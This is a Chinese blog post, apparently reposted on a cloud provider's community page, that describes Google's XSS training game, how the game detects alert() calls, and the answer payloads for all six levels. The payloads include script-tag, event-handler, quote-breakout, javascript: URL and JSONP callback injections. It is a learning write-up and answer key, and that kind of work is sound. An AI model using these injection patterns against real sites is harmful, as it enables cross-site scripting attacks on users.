有意思的遊戲:Google XSS Game

來源:互聯網
上載者:User

Google最近出了一個XSS的遊戲:

https://xss-game.appspot.com/

我這個菜鳥看提示,花了兩三個小時才全過了。。

這個遊戲的規則是只要在攻擊網頁上彈出alert視窗就可以了。

題目頁面是在iframe裡嵌套的展現的,那麼父視窗是如何知道iframe裡成功彈出了視窗?

是這樣子實現的:

題目頁面載入了這個js,改寫了alert函數,當alert被調用時,向parent發送一個訊息。

https://xss-game.appspot.com/static/game-frame.js

/* If we're being iframed, let the parent know our URL *//* Kids: don't do this at home! */parent.postMessage(window.location.toString(), "*");/* Override window.alert */var originalAlert = window.alert;window.alert = function(s) {  parent.postMessage("success", "*");  setTimeout(function() {     originalAlert("Congratulations, you executed an alert:\n\n"       + s + "\n\nYou can now advance to the next level.");  }, 50);}
然後父視窗註冊了一個EventListener來接收這個訊息:

https://xss-game.appspot.com/static/game.js

window.addEventListener("message", function(event) {  if (!window.location.origin) {    window.location.origin = window.location.protocol + "//"         + window.location.hostname         + (window.location.port ? ':' + window.location.port: '');  }  if (event.origin == window.location.origin && event.data == "success") {    userOpenedAlert = true;    levelSolved();    return;  }

最下面是題目的答案。如果想自己玩遊戲的,慎拉下。














題目的答案:

Level1:
<script>alert(1)</script>
Level2:
<input onmouseover="alert(1)">

Level3:

https://xss-game.appspot.com/level3/frame#3.jpg' onload="alert(1)">

Level4:

3');alert('1

Level5:

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

Level6:

重點是前面要有一個空格。

https://www.google.com/jsapi?callback=alert


遊戲過關之後,google給出了一個xss的文檔:

https://www.google.com/about/appsecurity/learning/xss/index.html


相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.